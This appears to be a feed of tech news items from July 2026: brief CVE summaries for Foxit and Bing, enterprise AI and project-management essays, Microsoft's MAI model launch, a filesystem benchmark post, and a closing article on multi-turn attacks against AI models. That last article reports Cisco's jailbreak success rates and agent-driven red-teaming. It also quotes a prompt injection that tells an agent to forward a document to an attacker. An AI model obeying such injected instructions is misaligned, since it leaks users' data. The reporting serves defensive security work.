A recently disclosed vulnerability in Foxit PDF Reader may allow a local attacker with existing code execution to elevate their privileges to NT AUTHORITY\SYSTEM. This issue, tracked as CVE-2026-57239, affects Foxit PDF Reader installations prior to version 2026.2 and arises from the insecure handling of an updater workflow triggered by a user-writable file in the […]
The post Foxit PDF Reader Flaw Lets Local Attackers Gain SYSTEM Privileges via DLL Sideloading appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.


Bing Images Flaws Let Crafted SVGs Run Commands as SYSTEM on Microsoft's Servers
Fri, 24 Jul 2026 15:11:16 +0200
A crafted SVG submitted to Bing's image search ran commands as NT AUTHORITY\SYSTEM on Microsoft's production image-processing workers, and as root on the Linux machines in the same fleet.

XBOW's testing got the same result on workers across different hosts and network ranges, so the problem sat in Bing's image tier, not on one bad machine. Microsoft issued two critical CVEs, CVE-2026-32194 and


Bing Images Flaws Let Crafted SVGs Run Commands as SYSTEM on Microsoft’s Servers
Fri, 24 Jul 2026 15:10:48 +0200
A crafted SVG submitted to Bing’s image search ran commands as NT AUTHORITY\SYSTEM on Microsoft’s production image-processing workers, and as root on the Linux machines in the same fleet. XBOW’s testing got the same result on workers across different hosts…
Read more →
The post Bing Images Flaws Let Crafted SVGs Run Commands as SYSTEM on Microsoft’s Servers appeared first on IT Security News.


Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption
Fri, 24 Jul 2026 13:04:13 +0200

		
					  
						




I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.



AI as a leadership multiplier



The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.



When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”



Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.



Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.



When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.



The requirement for top-down, executive ownership stems from three critical realities observed in the field:




Silo-smashing and data collaboration: True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.



Cultural transformation and fear mitigation: AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.



C-Suite education and strategic alignment: The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.




PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across strategic decision-making and cross-functional workflows. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.



AI as a new operational framework



Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.



AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.



Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.



In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.



To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, your business is billed dynamically based on the exact volume of tokens consumed by every query submitted (input) and every response generated (output).



Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.



The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.



Risks in the AI adoption model



Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).



I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. Bain & Company’s global Automation and AI Pathfinder Survey found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.



Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.



Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from “How much money will AI save us?” to “How will we leverage AI to exponentially increase the long-term value of our enterprise?”



Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.



As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



Sponsor mismatch is the silent killer of enterprise transformation
Fri, 24 Jul 2026 11:03:44 +0200

		
					  
						




Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.



The questions were not coming from the delivery teams. They were coming from the executive sponsor.



The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.



This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.



Most program failures are not execution failures. They are sponsor mismatches.



When governance becomes a debate about delivery practices



When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.



You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.



None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.



When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.



The compounding cost is not unique to any single program. PMI’s research on executive sponsorship consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.



Authority is rarely the issue. Literacy is



When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?



In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.



This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.



Harvard Business Review’s research on effective executive sponsorship has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.



Prosci’s longstanding benchmark studies on change management have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.



Shift the conversation from delivery practices to business risk



When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.



On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.



The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.



This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.



In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.



The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.



There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:



If the decision has to go above the sponsor, they are not the sponsor.



Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.



For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.



A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



Garmin’s TrainingPeaks acquisition and the Garmin Cirqa smart band could have a surprise connection — as the Cirqa puts access to its coaching software behind the Connect+ premium tier
Fri, 24 Jul 2026 10:18:45 +0200
What does this mean for the TrainingPeaks coaching ecosystem?


Speicherfresser unter macOS ausfindig machen
Fri, 24 Jul 2026 09:01:05 +0200
Speicherfresser unter macOS ausfindig machen

      
      
        
          
            
                



            
          
        
              
    
  Daniel Richey
Fr., 24.07.2026 - 07:00


            Wer aus der Windows-Welt Tools wie WinDirStat kennt, sucht auf dem Mac oft vergeblich nach einem würdigen Pendant. Mit "Disk Inventory Xs" bekommt ein Klassiker aus den Nullerjahren jetzt endlich ein Update für Apple Silicon.
      
    
          Tipps & Tools
      
  
    Weiterlesen über Speicherfresser unter macOS ausfindig machen
  


Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI
Fri, 24 Jul 2026 02:50:17 +0200
Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.
The announcement, made by Microsoft AI's Superintelligence team, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: Bing, PowerPoint, OneDrive, Dynamics 365, Excel, GitHub Copilot, and Azure. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.
"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.
How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve
The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. MAI-Image-2.5-Pro targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base MAI-Image-2.5 model recently launched at No. 2 for image editing on Arena, the community leaderboard that has become a de facto scoreboard for generative media.
The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."
MAI-Voice-2-Flash goes the other direction. First previewed at Microsoft's Build conference, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.
Microsoft's production metrics show in-house models cutting GPU costs by up to 89%
The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. 
Bing Image Creator now runs entirely on MAI-Image-2.5, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.
On the voice side, MAI-Voice-2-Flash now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.
Perhaps the most consequential deployment sits in healthcare. Microsoft's Dragon Copilot, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.
Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel
In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "hill-climbing machine," an integrated flywheel of data, models, and the product "harness" that surrounds them.
The clearest example is MAI-Code-1-Flash, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.
Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further trained it inside an Excel reinforcement learning environment, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.
That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.
Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship
Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "Frontier Diffusion & Control," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."
Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?
Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." 
“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s exclusive license to OpenAI’s technology had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had begun incorporating Anthropic models into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”
Developers cheer cheaper task-specific models while skeptics question Microsoft's track record
The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, @mavihsk, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, @nabu_lines, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."
Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer @designedbyabin, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, @tokenoverflow, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."
The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.
But the strategy's logic does not depend on any single number. Nadella's framing that software now has "real marginal cost for the first time" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.
Why Microsoft is turning its internal AI playbook into an Azure product
The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.
The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to Copilot Chat, Outlook, and PowerPoint, and both new models are available in public preview through Microsoft Foundry and the MAI Playground. "None of this is an endpoint," the company wrote. "We're just getting started."
Seven years ago, Microsoft bet more than $13 billion that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.


I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts
Fri, 24 Jul 2026 00:13:06 +0200
Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.
 I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.
 The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.
 Hosted CI dashboard:
 https://bartosz.fenski.pl/modern-fs-benchmark/
 Experimental real-hardware dashboard:
 https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/
 Apache-2.0 licensed source and complete methodology:
 https://github.com/fenio/modern-fs-benchmark
 The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.
 Why I started this project
 Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.
 General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.
 I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.
 That means testing behavior such as:
 - Redundancy and degraded operation
 - Snapshot aging, scaling and reclamation
 - Compression and encryption
 - Reflinks and clone divergence
 - Fsync tail latency and responsiveness under load
 - Rebuild and scrub behavior
 - Near-full and hard-ENOSPC behavior
 - Data integrity and recovery from corruption
 Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.
 Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.
 Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.
 The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.
 An important limitation
 The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.
 The hosted runs are primarily useful for:
 - Correctness and integrity outcomes
 - Comparisons within the same job
 - Large behavioral differences
 - Snapshot-aging and near-full shapes
 - Trends across repeated runs
 Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.
 I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.
 The real-hardware experiment
 Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.
 The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.
 During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.
 The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.
 I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.
 Where I would like to take it
 Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.
 I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.
 That could support scenarios such as:
 - HDD, SSD and NVMe baselines using identical workloads
 - bcachefs foreground and background targets
 - ZFS HDD data vdevs with SSD special vdevs
 - Separate ZFS L2ARC and SLOG experiments
 - LVM dm-cache in writeback and writethrough modes
 - Metadata and small-block placement on faster media
 - Foreground latency during background migration
 - Contention between fast and slow storage tiers
 - Degraded operation and rebuild under application load
 - Performance before, during and after promoting or evacuating a storage tier
 These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.
 I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.
 For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.
 I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.
 I would appreciate technical feedback:
 - Which current tests are misleading or unfair?
 - Which failure scenarios are missing?
 - Which mixed-media topologies would be most useful?
 - Which additional filesystems or layered stacks should be included?
 - Which results deserve deeper investigation?
 The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.
 
   submitted by    /u/bfenski  
 [link]   [comments]


FCC Chairman Brendan Carr’s war on the First Amendment
Thu, 23 Jul 2026 21:52:24 +0200
As the chairman of the Federal Communications Commission, Brendan Carr has authority over the nation’s TV, radio, and internet. But since Donald Trump was elected to his second term, Carr has wielded that power to threaten broadcasters that have exercised their free speech rights to make jokes about the president. He was even able to […]


Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026
Thu, 23 Jul 2026 20:48:24 +0200
When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transform 2026; the number should worry anyone still running single-turn red-teaming programs.
VentureBeat's June 2026 Pulse survey of 107 enterprise respondents explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at 82% of companies surveyed. The world's largest security vendors have done the same math. 
Palo Alto Networks closed its $25 billion acquisition of CyberArk in February, CrowdStrike agreed in January to pay $740 million for SGNL, and Cisco announced its intent to acquire Astrix Security for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.
Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.
Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its LLM Security Leaderboard, she told the audience.
"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.
Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."
Her starting point for CISOs beginning agentic deployments is Cisco's Integrated AI Security and Safety Framework, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.
Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."
Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."
Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science. 
Three layers versus an operating system
Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."
She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."
